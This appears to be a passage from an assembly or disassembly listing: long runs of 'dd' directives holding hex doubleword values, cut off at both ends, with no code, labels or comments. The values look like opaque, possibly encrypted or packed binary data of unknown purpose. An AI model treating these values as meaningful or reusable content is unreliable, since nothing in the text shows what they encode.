0BA2098B8h, 0BD5B5C8Dh, 0F38CD27h, 1254AF68h, 56B9FA9h dd 824FE1EBh, 3E6EEAF4h, 7D1D029h, 0A7A4FEF2h, 0B2BF35D0h dd 808F46D9h, 2A1C636h, 169B79Eh, 11625EF3h, 53278E7Ch dd 0ABE9C194h, 12532A0h, 1C5F3895h, 0CB7EEF29h, 275A109Eh dd 0E50CC04Fh, 9A2E1DF0h, 0AD006E19h, 1F6676Bh, 305D4CEBh dd 29142A49h, 31108CDEh, 57B6FADh, 40BA0E6Ch, 0CE6E2F6Ah dd 9CCFC148h, 8264E64Eh, 0BABD502Eh, 0A8704EAFh, 3940769Ah dd 4EF9EC50h, 8249FCE6h, 84CEB551h, 76C2F4E8h, 0D5086286h dd 3E062E08h, 201205Bh, 0B4005053h, 58E388F7h, 9832B652h dd 80F50692h, 502802C6h dd 595EEE75h, 0FB405AC9h, 7B57346Fh, 3C2E132h, 1ABACB01h dd 0C725ACFCh, 0B3EAA84Dh, 4AC1A03Ch, 0B9D60127h, 206C3AC7h dd 4702C9D8h, 0C1125A19h, 0F10160E9h, 0AE2128F5h, 1F26F4B7h dd 0BE43A627h, 2C1968D9h, 2A57A803h, 0F3800403h, 39CB99CFh dd 91DEB8ECh, 3DB48EFh, 2CD9788Fh, 397A0C02h, 7C291196h dd 2808208Eh, 9F14BB53h, 3B5A8DE1h, 0BB00F1F6h, 22B660A4h dd 0E76238E9h, 5F65EB81h, 2C2668ECh, 0F43A3A15h, 9F288D96h dd 5A812F20h, 3670E4F6h, 82C7995h, 0B2053DE8h, 5D81207Fh dd 0CDAC8DFBh, 10C22558h, 8BB74500h, 87EEFC0h, 0D133E325h dd 5AC8A248h, 6058F055h, 0BD33D90Ch, 13290B46h, 1A0159CDh dd 0C6412BEDh, 0DE9907F7h, 0FED482Ch, 55E95854h, 599D1F50h dd 0FD005AACh, 63FA4368h, 36B85D4Eh, 0F8D81797h, 0E8C1A06Dh dd 46E9250Eh, 1C5C9542h, 0AE92B0A0h, 7F614EFCh, 0F4562D1Ch dd 0BC2640DAh, 54018024h, 5A56CEB5h, 91ACD858h, 0AC1DBE9Eh dd 6494F38Bh, 9C0816F7h, 2A19FC38h, 0F6FAB116h, 103F500Bh dd 0C8E81345h, 41A1C52Ah, 35E12BCAh, 0BE58533Bh, 0EC9B7C04h dd 272CCFCDh, 84095327h, 7D7E5FC2h, 0BB43C88h, 0F587C9FEh dd 84A33EB3h, 462D1F6h, 56889614h, 11F098Fh, 76722D7Eh dd 81859348h, 47EBBCBh, 0A4E076E1h, 45091F4h, 0EE6650B8h dd 9B948C3h, 0C6E97E70h, 0C89DD370h, 0E615FC9Ch, 0E42D006Fh dd 544A253h, 0AA0908B1h, 0A9B4E978h, 47EC8BC2h, 0EECE88BBh dd 80BCB700h, 482CC6F7h, 0A205F02h, 86908BBAh, 0E25F401h dd 28E95572h, 2919BE7Ch, 1B36AC1h, 657CC830h, 447D01D2h dd 30E0F580h, 660BAD80h, 512DE368h, 0B6990BD9h, 5548D6E4h dd 8854279Eh, 65081258h, 21923E95h, 0A287F87Eh, 0F827073Ch dd 6FBFC281h, 4B2177A9h, 5A272C6Ch, 14EEC4Ch, 7DF7A644h dd 36766800h, 5A5C270Eh, 0D25D0523h, 12AAFD82h, 0BBFE0F7Fh dd 924EE372h, 93B6170Ch, 8199A043h, 0B7A30FF3h, 0CACDC92Bh dd 0D7B43A3Bh, 0AB4609D1h, 3F5E5A1Ch, 0FD07E962h, 8BD3F421h dd 37630114h, 4342BF00h, 0BE78BA01h, 8745BCC2h, 0E48AB02Eh dd 6C3DC62h, 829E710Dh, 4D9C42D7h, 317DAF60h, 7012C525h dd 26210E39h, 0D7894737h, 8E28A609h, 929E08EEh, 0A20FA328h dd 65535A63h, 7097284Fh, 5DCF8872h, 0E4E667A7h, 5AA692B2h dd 39C1F2C3h, 0F7296AA0h, 0C0D2647Eh, 237207EBh, 0A1B71976h dd 20ADE983h, 60FACF64h, 2AF0265Fh, 82FC2670h, 0A2BC904Ah dd 0A0DC2D80h, 60F1F315h, 6880CB2Fh, 0A32A4F95h, 2DE11043h dd 2093BB03h, 57906FB9h, 0CA7F0D98h, 0DE2F7D25h, 0A94BCF62h dd 5E489A50h, 2E651347h, 17761CB4h, 1F439B72h, 0E95E5892h dd 653C13BBh, 0A8317A5Ch, 3BA989FDh, 53325196h, 0CDFF1D72h dd 7F0EE274h, 62FDA132h, 5153F1B8h, 0E6DDADE7h, 55591FE0h dd 92298B54h, 0E9E27273h, 81DFD61Dh, 0B72F64E1h, 0F6E0DB6Ah dd 0AB75088Ah, 48CE7231h, 9F7C015Eh, 97282B4h, 551EBA7Dh dd 0D16B94A5h, 2656581Ah, 20D52F6Dh, 2824EABDh, 3F2540B7h dd 9D901CBFh, 0F1282F45h, 63B73492h, 4063DE4h, 0E4F17393h dd 242848Eh, 0B706B514h, 0E7FE124Bh, 0BD532476h, 0C20A3F07h dd 0F3ED0F3Bh, 159E80E8h, 3258D3D6h, 896F6A06h, 12013233h dd 0E91B963Eh, 0D6240C78h, 4AEDEEC3h, 360E38Ch, 19DE1F38h dd 181E1329h, 0CBF6ECEFh, 0BAE040D8h, 0D97E12D0h, 0F90D0F7Fh dd 5562E90h, 34272F00h, 0FCCE891Eh, 4BA0B2FEh, 0A2F4BD5Bh dd 788F8CFh, 3E2097BBh, 0E079A472h, 0DDB05A3Ah, 0C8311017h dd 0F4A4B8BCh, 0A440654Bh, 88D301F6h, 0B3535BDAh, 70CA611Dh dd 6665AC93h, 98C49E14h, 0A6420DAFh, 0B1046B0Ch, 0F4A8944Eh dd 165902A2h, 7CF1F689h, 4E688477h, 0C335EF49h, 0BD1FC095h dd 5780E2E5h, 0F6F8FF48h, 31BC6017h, 56069EA8h, 0F5B430E9h dd 298456B6h, 29FA5BD9h, 90DC3BADh, 0A3909F5Ch, 64977AF5h dd 68530360h, 0F2B1363h, 928A3EF1h, 0B312DB87h, 0E8C9FA84h dd 0C044923Fh, 78AD377Ch, 67F80B4Ah, 342A49FCh, 4E092223h dd 0BD9E25Ch, 0F12E08E9h, 7CCFCFBDh, 5B868E35h, 0C33E9E56h dd 0E862B023h, 4C70ABCBh, 0F31EECD1h, 7ECCCFB8h, 5C66E380h dd 7FB86C0Ah, 8103E03h, 79DE890Ch, 24270936h, 0DA8F6711h dd 2508C30Ah, 829D9272h, 7D9AE73Ch, 6B4781B1h, 0D5C69B45h dd 0E15B0EA8h, 0D67A6222h, 0FAA831C5h, 0C42CFFB5h, 366025E9h dd 5FEC7D5Ah, 0B97CC2E1h, 0CD32775Ah, 0E64F1FECh, 0EA809141h dd 0F4302872h, 0D8A25E32h, 10F10690h, 294798EBh, 20861D8Ah dd 20E99008h, 85BFE490h, 0D8FC5568h, 0F6CAB507h, 0B43F92D5h dd 68131564h, 0F0E32EBh, 5F097088h, 376CC801h, 0E1CE719Dh dd 9310D668h, 4381C8C7h, 2A20EB29h, 5A590CF3h, 390C4176h dd 703A1718h, 1767B2BCh, 0AD894821h, 3F8C0280h, 0CA017D2Bh dd 108262A2h, 1702C1DAh, 942EE41Eh, 0B608179Ch, 0C2B12D5Bh dd 0DDD5094Fh, 0B6DFA716h, 6750524Eh, 0E36E94B8h, 0DD788B35h dd 40E6CF87h, 8D8500Ah, 1E222605h, 0C0832586h, 9B8C6168h dd 3B8A45D0h, 23102DE2h, 5E592579h, 7B5447FFh, 45356E80h dd 0FBFA3D95h, 3139DEB2h, 81F11CCEh, 46438983h, 0BBC9B04Dh dd 57EF2F15h, 8F0E48F3h, 0F720E073h, 5CE5C1DDh, 11177A05h dd 105BBDC2h, 5B12D5D8h, 0F6BA0043h, 56769D3Bh, 3E13BE02h dd 78095080h, 0A95C2071h, 4214BF02h, 8931118Fh, 600BDFC5h dd 9C163DFAh, 83058418h, 0CF47DF21h, 89B2BFF5h, 74E48560h dd 2116FBh, 0CD7FE19Ch, 0A0F90175h, 0FEC0081Ch, 794C2F1Eh dd 0C5B42CE9h, 42756A34h, 7409F3DFh, 2388079Eh, 0D58F051h dd 21EC27A8h, 0F09294B0h, 0D95D5F2Dh, 8C7925EEh, 0C0C2E9C1h dd 0DCEEB39Eh, 0F1021225h, 0B4FCF874h, 93FAD39Fh, 52C82C50h dd 8894B209h, 62AF5ED1h, 15745FE9h, 67F2500h, 556D9Bh dd 8C3FB6BDh, 0D099E976h, 0BF997F82h, 68972460h, 32750C2Ah dd 3DB8501Ch, 3210040Fh, 21E354EEh, 923EF10h, 0F9D831ADh dd 305F4986h, 0B4955D71h, 2D5393A4h, 25EDBFD8h, 16510EDEh dd 0C95AFB05h, 0AFE430E8h, 95667788h, 5442CDF1h, 0F86EC05Dh dd 47C79D26h, 0DCACE22Dh, 0AEDC6AEBh, 4919C80Ch, 848F0302h dd 2BB75300h, 7CB17251h, 4B647E80h, 0B8F901AFh, 0FE3B5596h dd 0A53F0EF6h, 5DE940ACh, 0AFA54968h, 0F3D2557Bh, 141A75EEh dd 8864DDB0h, 27180258h, 0D3F1A077h, 0F671F656h, 5CD39A66h dd 154CDC5Bh, 1373B279h, 12D2B050h, 0B804FB2Eh, 40FBA504h dd 252484ADh, 8274BA19h, 1E80AD1h, 215A5E52h, 59281C77h dd 852E05B3h, 1D09B45Dh, 0E8BA7D10h, 0F109315Dh, 59E247AFh dd 375D0680h, 16B87EF8h, 42DC5B2h, 883BE563h, 0BD01C507h dd 112F1D37h, 4680E235h, 3B63132Eh, 0A14F78E9h, 9C90F7F6h dd 29802B2Dh, 463F9368h, 0D8C3054Eh, 803805E8h, 0EA085CEEh dd 7A1F0105h, 0DD9C34AEh, 21169ABh, 0EE895B5Eh, 0A34B775Dh dd 0CE5508B2h, 715E036Ch, 4FE931BFh, 0D4B7B8A4h, 0B1D1021Ch dd 0E4F92860h, 93926960h, 0C03883D7h, 0ABC7402Dh, 0E2F94A31h dd 0BA371015h, 4BEAC4Ah, 0CCB211Eh, 1686FA44h, 6C13F9FCh dd 30643277h, 3E32D672h, 60EF27D7h, 246FB90Bh, 1B162EAh dd 0FBEEE556h, 8EE9F829h, 0BB1D4A9Ch, 4E341087h, 5237ABAFh dd 0ED524B60h, 59EA1D7Dh dd 0E1D456h, 617E2425h, 4DEBBE9h, 0E84061B6h, 244E2745h dd 168B18F4h, 0A9D4CA97h, 22AE0B06h, 0D541B768h, 81BC260h dd 0C944E75Ch, 3C659AEh, 754635B6h, 6ADA34D9h, 1058A461h dd 75E18449h, 0A113AE04h, 2DEA72C5h, 5F8D2F7Eh, 8AD22322h dd 2AF05825h, 4CA093C2h, 264BA468h, 1B205F8h, 50C0E974h dd 0B46EE957h, 924A1D28h, 8523E926h, 60040966h, 0BD13D5C1h dd 0C5C3161Dh, 0CC2DEE23h, 29A9B900h, 3F478B2h, 44E5815Bh dd 9892D3D4h, 0ABF56122h, 0BC30C780h, 0D9C6AC3Ch, 398504ADh dd 0AC5AC3E8h, 0B304E5DDh, 9D98BDA0h, 1762F68h, 0E984BCDBh dd 0DDEB2142h, 2AE2FD8Ah, 59692B2h, 0A3E63117h, 23F55B15h dd 78393CA4h, 41F35EF0h, 4F708A2h, 93161DAAh, 475A0DDAh dd 4BC33253h, 642FD9Eh, 6CE3680Bh, 0A14A9457h, 90511BC9h dd 8731F530h, 0A072E26Ah, 2568C5FEh, 0E366449Dh, 80A3B306h dd 4C0666EBh, 0B120F0A6h, 0BB8A3500h, 0C289EEB0h, 94D0DC58h dd 0FE13AAD2h, 81DAE4AAh, 4194C64Fh, 29B40EAFh, 0BB1D3CC4h dd 0CBF3334h, 0D91447DCh, 52BD3F1Fh, 0C69782A4h, 3002471Eh dd 7C555332h, 2DEC26Fh, 680456E3h, 246E1415h, 4C12FDA8h dd 2E30BF76h, 0F5E0685Eh, 3277462h, 40BBAFAh, 0F4525B02h dd 8FEB6325h, 9A8004DEh, 0F122DC1h, 0CEBC5E13h, 101A1D96h dd 166161Ch, 197502F8h, 125F3B05h, 0BA2DF1D8h, 7F12120Fh dd 0E8C574EAh, 45680B76h, 0BBBD108h, 0BC4AFCDEh, 0B80A9B40h dd 785C9883h, 0BE750123h, 2284151Bh, 89E76031h, 0DED0F14Bh dd 3B210EE1h, 0E90B304Ch, 0EE89787Dh, 155E6B00h, 35025D32h dd 5CD7CF5Ah, 0E99EE031h, 2DF2BCEDh, 0F15DD340h, 890C990Fh dd 0DC54C4C8h, 0CC0C43AAh, 0C190113Eh, 810008E7h, 32B59EFh dd 0B6B8E912h, 0CF5F2C86h, 9EE13C6Bh, 0C23BFCD1h, 0A6840F0Bh dd 5E1C551Fh, 0C1AAE92Fh, 17605E68h, 2A799F8Ch, 5C2539A4h dd 0E5775083h, 2D685980h, 129908D4h, 0B4D57464h, 0E304FB70h dd 9C38058h, 120F6785h, 12D9014h, 142FDC7Bh, 8AC09790h dd 0F25DB0Bh, 441B0E85h, 0E6519668h, 59C4FE51h, 0B902028Eh dd 0FD71A662h, 0D0123CE3h, 2F20E34Eh, 30476502h, 0F30E4B37h dd 62CF895h, 40A3889h, 6F0314EFh, 0B03A465Bh, 373FB0E3h dd 32187CDAh, 4A61883Eh, 0EDE54ABh, 0C24CD0E7h, 969D5608h dd 90CB086h, 0E5C17DE1h, 7FEDBE83h, 455360C8h, 0D05B4798h dd 126483B4h, 0BD8CB29Dh, 24A7394h, 0F7667560h, 3B5F90F1h dd 8ED8547Dh, 726B484h, 4CF51ACh, 24EAD2F2h, 1AC5BEC8h dd 0ACC76EACh, 0B925F554h, 0E55B2768h, 88ADA04Bh, 2FE9F015h dd 392005B7h, 2B7D0322h, 0DE840BDh, 776A0241h, 0E5A4E953h dd 0EC883AF9h, 97C11F71h, 845BE70Bh, 9AAF3487h, 85265987h dd 20FFCA29h, 20478137h, 521D0167h, 6AA6F6CEh, 8788ED1Ah dd 2F09058Fh, 65BD5AD8h, 0D1D262Fh, 361E7244h, 0E2949305h dd 47899861h, 0D231A240h, 8CEA4968h, 0E24B8558h, 0CB110F9h dd 0E2C16605h, 0C0AFC505h, 4345BD29h, 7D313AC9h, 0E8B99005h dd 4B55750Ch, 0C61F6AA1h, 582F8FC2h, 0D042D735h, 3F00CFD4h dd 0D8E96F23h, 0B91BDF8h, 710EDDBAh, 7B57F421h, 25E11BCFh dd 8849C1D7h, 0CB4C00E3h, 4C542345h, 9B0EBF68h, 923E264h dd 60FF5BDAh, 2E902648h, 3D7537B0h, 0EEC5B780h, 9C209A4Ah dd 6E7552C3h, 2870609Eh, 51BBF780h, 9AF98835h, 3E1A1753h dd 9CC875DCh, 0C625835Fh, 0A8A97902h, 93C8DC80h, 0AD234053h dd 7C5EBA52h, 0AA167028h, 0BF20037Fh, 0B08F980Dh, 3A6C1374h dd 23BB043Ch, 315E0418h, 7F1BC9EFh, 1B2CB0D1h, 0E904F0C0h dd 2AD22D6Fh, 0BE12E594h, 5FB042EEh, 0BBF1E0D3h, 47666841h dd 0AD23357Fh, 0B1164A99h, 87E95402h, 0D7EDA4A3h, 0AA1DA4F6h dd 167D007h, 98DCD81h, 0E12E4E9Fh, 0CC13ED1h, 0A728DC8Bh dd 117B68A0h, 0F273E697h, 2998B7ECh, 958EFD3Eh, 0F14C6325h dd 4D8A3EC4h, 0CB27FE20h, 0EBA75976h, 5467E476h, 31CB94EBh dd 0BB893FE9h, 0C5842E14h, 0FDAB89EAh, 1E25F3C8h, 0BA4BC364h dd 0E95A0401h, 0D3B85B4h, 4B933998h, 167821DAh, 3CD30490h dd 2A85C96Bh, 52723B88h, 0BA5F7D3Dh, 0D2EDA241h, 0B16A9C6Eh dd 40704163h, 0DC9A2E32h, 0AB54592Dh, 7953F3E0h, 9CAF86Ch dd 7D9C095Fh, 364A0F5h, 888202A4h, 0E918D101h, 0C14B181Ch dd 2085DE1h, 14A2CB04h, 2D1EFE33h, 9A847616h, 4493DCFFh dd 0B1DF6F41h, 0C983A299h, 0B657B3F1h, 1C18390h, 117A12C7h dd 185E10B6h, 0A2F1B9Eh, 0D19D24D5h, 33CB01BEh, 970EF006h dd 3C20E61Ah, 5E472CCEh, 6C708634h, 0DD765E2Ch, 9CBE5A44h dd 0D459E980h, 4F8A58FDh, 0AF3C7729h, 3E257402h, 7B5CB0E9h dd 23E85617h, 8045FAB5h, 5BCC0E9h, 0A279532Dh, 202656C6h dd 3100266Ah, 0F22D5BDEh, 24766F0Eh, 2043F029h, 90E9408h dd 19E132E9h, 0A35785Dh, 0EBC9CE0Bh, 9B51D002h, 0F1DE12Ch dd 26E7BF9Ah, 3C05036Ch, 1174D19h, 802A7F1h, 528F45Bh dd 8DC989E9h, 75E0E1C1h, 0AED92A44h, 5BDB8930h, 76CA910Ch dd 718104D4h, 0BB01899Ch, 0C880B07Bh, 34A713F5h, 1E80116h dd 4D68EAD3h, 7396804Fh, 0E94A1F6Fh, 11F54949h, 995DFD50h dd 38B28943h, 0F31E9085h, 0FE66252Eh, 6E1542DEh, 81103BC9h dd 4B0CB90Bh, 0EFD0D3Fh, 0CD3BFF25h, 2CF9ED13h, 665803B4h dd 0F7247C01h, 0EE188259h, 0E0335E6Dh, 68C8BF0Fh, 53701726h dd 2C2DD8C6h, 98DE7C1h, 26767478h, 2163094Fh, 0D388534Fh dd 846AC6E1h, 93D7B2D1h, 59145CCAh, 0AC4BFE21h, 0C8311204h dd 5A99F5B0h, 0D21AA8F6h, 919065EEh, 28B7471Dh, 180B9E8Ah dd 0C27814F4h, 50D0F70Dh, 936414FFh, 0E95682D0h, 0EE4A92FAh dd 62A0407Dh, 55EA83F8h, 0B05F83A9h, 0C8732893h, 81814521h dd 0AF3244EBh, 71CBCC41h, 0CA5FC512h, 5F195519h, 3DAE0583h dd 5CDB9D2Ah, 8E04C5D7h, 769013FCh, 3D2996F3h, 77936225h dd 0C0D1AD84h, 0B6685BDDh, 0D646B57Dh, 53CD1D54h, 704F07ECh dd 8320BF45h, 8F3B0BFAh, 6F81D883h, 0ED1478D0h, 9E2765Dh dd 5845A89h, 0F29412C1h, 25EC2CD9h, 816C58Bh, 16E3C2CFh dd 9F1E94FFh, 0E320F945h, 0B55918Ah, 7D2B322Fh, 680047ECh dd 76A64ABFh, 97879DE9h, 0BD0B96F3h, 6F105E74h, 12A7F726h dd 564C2927h, 101D6063h, 8A25B08h, 2426C5Ch, 68530378h dd 667936D0h, 305E6298h, 82109FB6h, 0F35E271Bh, 47680138h dd 7A7C6F0Dh, 0FF51B88Bh, 9FAC52EAh, 0C6ECFF5Ah, 7B5A1D09h dd 6A28DF66h, 35CD2C08h, 0D34D04C5h, 7BAB8AD1h, 1782DE30h dd 2C22CEEBh, 3CDE2A59h, 0A008C328h, 71ADCB73h, 0CBEFF3Ah dd 1E8B7889h, 5EA55580h, 0F7F8091Bh, 0D322B505h, 0C5824F46h dd 0BC8409CAh, 525CD42Ch, 683680ACh, 92953E1Ch, 95A14E5Fh dd 8B585C40h, 0A91C4Fh, 932DADE5h, 4EE9282Ch, 5EA0C058h dd 5EEC589h, 8514343Dh, 2DE80113h, 0CFE90705h, 0F13743BBh dd 79BA776Bh, 5E4E5874h, 2E933C52h, 80E10F06h, 2D09DBC6h dd 4052B1C1h, 0A676468Bh, 0B340779Ah, 31F2A68h, 418AFA78h dd 0CC222B1Ch, 0C93BFC01h, 8E724D10h, 20ABBB9Dh, 2198CD16h dd 0A146A602h, 0E3DE8713h, 0D1080100h, 60E681EEh, 4EC2203Ch dd 1EFE92Fh, 5AD7891Bh, 10DCADA7h, 75EB688Bh, 2C55E219h dd 0C48082C4h, 17FC71F0h dd 3A6CF8D7h, 0E907E2EBh, 728B7F3Fh, 0C852FFDCh, 902D76B4h dd 4CC1B971h, 984A7C6Ah, 7F256631h, 2381EB04h, 0BA205D0Ch dd 20C29344h, 56FE40BBh, 10AF5558h, 0F250E4A4h, 3629836Ah dd 8B25B1C2h, 8BD7353h, 0B90F7098h, 77156921h, 76E76C0Eh dd 9F845B18h, 0F2EE1F72h, 0D6CECF0Bh, 4DEA5060h, 373B0B0Bh dd 82A97001h, 0A15A6508h, 56F613EBh, 5A2CE743h, 34C89DFDh dd 90A75609h, 952182BEh, 22D04FCAh, 8BCE27B5h, 614A5929h dd 0C16A11BFh, 0CA8D6F1Eh, 1DA3FF00h, 0F850B596h, 0FD426709h dd 249ADF02h, 802A42C8h, 292B3404h, 69B65FF9h, 329FA63Ch dd 5DE98D3Bh, 6B96122h, 64030C0Bh, 5749CD5Bh, 0FA81DD51h dd 696ECADDh, 7AE22B71h, 9AAEE982h, 4DDD9455h, 0BF3B8A59h dd 29CC4D06h, 0E1A0A201h, 0EF3B7C76h, 4DB506Fh, 1819B030h dd 51DD8F43h, 46F4DB6Eh, 292D105Bh, 590840CAh, 1206DFF3h dd 73FF2015h, 7CA9012Eh, 6EE94999h, 0F78F8069h, 900BAE51h dd 0A9FA5B01h, 53FC9743h, 3FD889F1h, 4335FC8Bh, 5AC9AB57h dd 4A6DDD20h, 8022A21Dh, 7D76F4F3h, 2721507Eh, 88D649E9h dd 26572D01h, 705A1BD0h, 0C0EAA1Eh, 0DE015418h, 5511ED1Ah dd 0E92EDACEh, 5993C650h, 0E9B1FCECh, 0DA382595h, 846F5974h dd 5EB471B2h, 41BB41B1h, 83535E85h, 0EE6EB362h, 9151E829h dd 0E9D60C11h, 5D28804Bh, 27DD313Ch, 0C1000294h, 42005DE3h dd 704663DCh, 0F24B4Ch, 910896A6h, 9DCC8DE9h, 0F0C5771h dd 9486BCB6h, 8E5C25B3h, 5195825Ah, 7B4677AFh, 0B6DE1F20h dd 0B5580B72h, 0ECC6BA64h, 0BC9A1C6h, 471868C3h, 517A4F66h dd 810F7C06h, 76545931h, 71DE606h, 89D3BAD0h, 4DB9C0CEh dd 337D4C92h, 68B7F362h, 49ADAF63h, 448F00Ah, 8541D5BAh dd 2707CA08h, 8AE6392Dh, 298CD255h, 8CAE5F8Bh, 0F84A19BDh dd 5FCA8D9Dh, 680F1190h, 0DCEF95A9h, 0D9B5176Ch, 60632F8h dd 29447956h, 5FE95801h, 0ED299325h, 0D5C0121Ch, 21CC43ADh dd 465D05EEh, 217ABCE9h, 5BE8345h, 0B5925EAh, 0DA40E669h dd 42E44A66h, 0A79520E9h, 0F20A5B61h, 0D7FAC760h, 6CC26AE2h dd 0FD9CF30Fh, 680938BEh, 89890FBDh, 7105EB27h, 2EB5CA0Ch dd 0CFBC7485h, 0AD80C04Fh, 0EE7A4056h, 6C011AD2h, 0A9A3D95Eh dd 12B1CFD8h, 0AA611D28h, 4F026612h, 0FE6C96E9h, 19C8332h dd 17D94C88h, 0E57507D4h, 718F8605h, 0F19328BAh, 5BC85E4Bh dd 57722D68h, 7BB4E468h, 8E5895B0h, 0C5E914A3h, 75EE0334h dd 0DBEC5C95h, 8000AC93h, 0B15138CBh, 0D2B7C5A3h, 22727623h dd 4FD58320h, 23EA8D53h, 841A942Ah, 0AD13E53Ch, 0DE4ADF2Dh dd 960B2C86h, 0C264F668h, 0FE548DB5h, 0A0D58269h, 0AE590481h dd 4B9CBBC6h, 8881442Ch, 0D8B9009Ah, 5C399061h, 0D533FB87h dd 2E098108h, 78C66F9Eh, 0F379B5D1h, 88D2CAADh, 0FEA58424h dd 2781E987h, 301B44C9h, 5272E9DAh, 0C8CE572Fh, 26CC2BBBh dd 279B0ECAh, 0F867597Ah, 147B66A4h, 302D0020h, 5619017h dd 0F60B0848h, 0E2CEE91Ch, 9FA716BFh, 0BC094778h, 70F3993Ch dd 0F029052Dh, 0BAE3FBE9h, 4EB89530h, 0CE6E4CCDh, 7DD7667Fh dd 570BA45Eh, 822D3644h, 0C8F782Eh, 0D86294A2h, 0F25DEFB3h dd 12D89845h, 0CFB617Fh, 68310AB0h, 8D5F5704h, 0F8F45B21h dd 8E031943h, 0C3DD0C40h, 14C02DAAh, 4624B2F6h, 5270384h dd 97AF314Ah, 0C5E1A2D7h, 0F62DCEDFh, 0F28A4B09h, 67277811h dd 0C18E3A99h, 8F879D44h, 0D9DC411Fh, 82CE3F3h, 9B88F72Eh dd 14B82C17h, 37F6B0E7h, 0DCC20925h, 0A0DC4B0Fh, 4E830D6Ch dd 0B5EFECEBh, 0BF465FEh, 0C26A6C36h, 619263C8h, 0E891BB51h dd 4D28798Dh, 373EC92Ch, 0E97185A8h, 87347C26h, 4CDA582h dd 0FCC68053h, 3073C980h, 0A7FE9FFAh, 28249E92h, 0AA17EEF3h dd 0B0744BD1h, 0E0B6C92Eh, 289DF479h, 0C027A914h, 9F55CE0Ah dd 399EFE2Ah, 0F62FE120h, 7C7152D7h, 0BB385999h, 3BFAF15Fh dd 0E46AF389h, 2E20E9DDh, 17F59001h, 0A808E7C0h, 100404A3h dd 0CEAC782Ch, 0E9E0ED74h, 0E6ED44D3h, 0CF1B0603h, 0D3C68351h dd 0CB8E7396h, 0FB49A524h, 0E48F7487h, 1EC52213h, 43D021AEh dd 0E914D016h, 25B1274Bh, 819A7D7Bh, 5B44B9B7h, 0D344751Ah dd 15232BFh, 0B6A0445Dh, 10311000h, 0BA0264B5h, 5E4A5C69h dd 0D18D405Dh, 60792F93h, 6816C0D0h, 3F8C0AB4h, 4119407h dd 0B2D0215Eh, 2CBF923Eh, 5B5DE936h, 575E7462h, 3E2608E0h dd 69F8784Ch, 20FEE896h, 584EF253h, 9FB87D15h, 89E977D9h dd 2DB1E464h, 0DA2F6F5h, 5802CF66h, 425FEA56h, 43C3DD19h dd 5A00E8CDh, 26B16EA0h, 92B89DFAh, 0D345F84Eh, 0C6072C09h dd 0D74E4D33h, 3B30694Ah, 87A315D5h, 0A411E912h, 6341F874h dd 39C47F25h, 0BE540222h, 0A4DB42DFh, 0E0240B75h, 1828CE62h dd 0A832D778h, 40F00105h, 0C59D8DB2h, 0D2A2A59Eh, 0C07963C6h dd 16218997h, 6402F9EBh, 500242C0h, 36E9545Eh, 9D8BFBE4h dd 0FCBA5216h, 0CD0AB535h, 2C53D51Fh, 0C97C9890h, 0A4443482h dd 1760C154h, 0D632BD1Bh, 0E1F81788h, 518131AFh, 2B575C41h dd 0CF896D31h, 0C42A3131h, 3FDECAADh, 0ACEF135Bh, 0A549EDEDh dd 665B9D5h, 8A09BE02h, 3194D776h, 0AB1F1444h, 0C28E17A7h dd 315195F4h, 89D2DF3Ch, 0B59C86Bh, 65335406h, 8845F0D4h dd 0A2970C7Eh, 9DAA0A6h, 52F0500h, 0D983AEBh, 22BDEAFAh dd 541DBEE9h, 25016E8Eh, 0DFB85A0Ah, 4EA80B5Bh, 0A0D6E984h dd 62250317h, 0BB3C538h, 9EDD5D54h, 944D9954h, 6CA1D588h dd 40920185h, 0ED46C1CBh, 0F0134069h, 8EA5E8D0h, 0C66642B9h dd 75746219h, 308EE6AEh, 165BE886h, 0C4878B7h, 49626B7Dh dd 0B1830324h, 4120B280h, 3FCB3BEBh, 9099B8CBh, 99E91308h dd 0E2BBA440h, 3EF5F89Ch, 0D133DA31h, 0ADA2ACCBh, 0E57A2FC1h dd 0FCC8C103h, 13BFE1F3h, 5E03AE10h, 0F7A2045Fh, 801CE8DFh dd 3A7C3FFCh, 5FFD2529h, 0B9F16090h, 7E62C694h, 57125F11h dd 4033147Fh, 0D95AE983h, 4A053700h, 0EA315B1Eh, 4A12EC69h dd 7D24BC47h, 3E041D3Dh, 0DB02F041h, 77E916A6h, 17F653B6h dd 0F1C68257h, 0D440325Dh, 311E2463h, 7559CF31h, 0B0F02BD4h dd 0ED06E4C0h, 0D156ABAFh, 3EC77DF2h, 0F376E509h, 3A7E0B5Ah dd 0EB8930DDh, 98D9262h, 8CB161B0h, 0EAA3DE05h, 2FF8365Dh dd 9BF798CCh, 0D687828Ah, 0C38DAC05h, 46666305h, 10BE2945h dd 5A2608F0h, 61CF003Ch, 0F2684AB5h, 2DE92740h, 41FC0680h dd 5A32EE6Ah, 5E4D755Ch, 42C4E90Bh, 492C7155h, 25F5F405h dd 3CD8A879h, 8ED74A68h, 23B3D185h, 0C4553867h, 7F0BA13Eh dd 0CBD28177h, 76E7FF8h, 8B9FBDF6h, 930C5861h, 87FD92A7h dd 0F27CDB50h, 0F6A313BDh, 0C9546BC8h, 41295881h, 56AB2A80h dd 0CCB829B5h, 0DE136A7Eh, 428D4F76h, 475F4A8Ch, 8D124522h dd 2AFA094h, 8FE9507Fh, 6F555949h, 0D4685B60h, 470F264Dh dd 67ED0124h, 2E593D42h, 1EE9B602h, 30A37F6Ch, 0BBEC66D9h dd 220AB512h, 76AD9702h, 2D5B033Ch, 6C20074Bh, 0B5B71965h dd 67BE2851h, 682C495Dh, 0D92F8CB8h, 0C1AB323Eh, 0EA9E3051h dd 0FB409762h, 88255BDCh, 2F9564E7h, 5693A746h, 85AB92FFh dd 81733503h, 7BD45FD5h, 0FBE12D25h, 5584E1C2h, 560798F4h dd 36AE6816h, 849A9DEDh, 0BF2E5DDh, 8FF47C6Ch, 0FAD334C2h dd 0FB1CA2B2h, 0A25B25A5h dd 0ECD2E963h, 0CFC13DBCh, 9329164Fh, 62FDFEFCh, 0BE431188h dd 0A81A4E5Fh, 480A57Ch, 6BE90289h, 9B6425ACh, 604E25F4h dd 7249B0FDh, 0B5B7E8B5h, 538402FDh, 8051090Ch, 80B5320Fh dd 4AC57D30h, 52D9804Dh, 1216E068h, 7FF3FF6h, 103753E8h dd 7FA5E96Dh, 80714AB5h, 6AD36570h, 8B294873h, 8890BCC5h dd 77CB3F9Ah, 29A421C8h, 5CE281D9h, 0AB5B935Bh, 4716C31Fh dd 0F1C4F9A9h, 0C89DEE62h, 91A4006Ch, 26F82CB9h, 3A25790Bh dd 0BDF273F2h, 0ECA20992h, 7731A184h, 3BC73511h, 7184A1A2h dd 5D540995h, 0AAA4516h, 0C0A06ED7h, 93465F18h, 42BF0171h dd 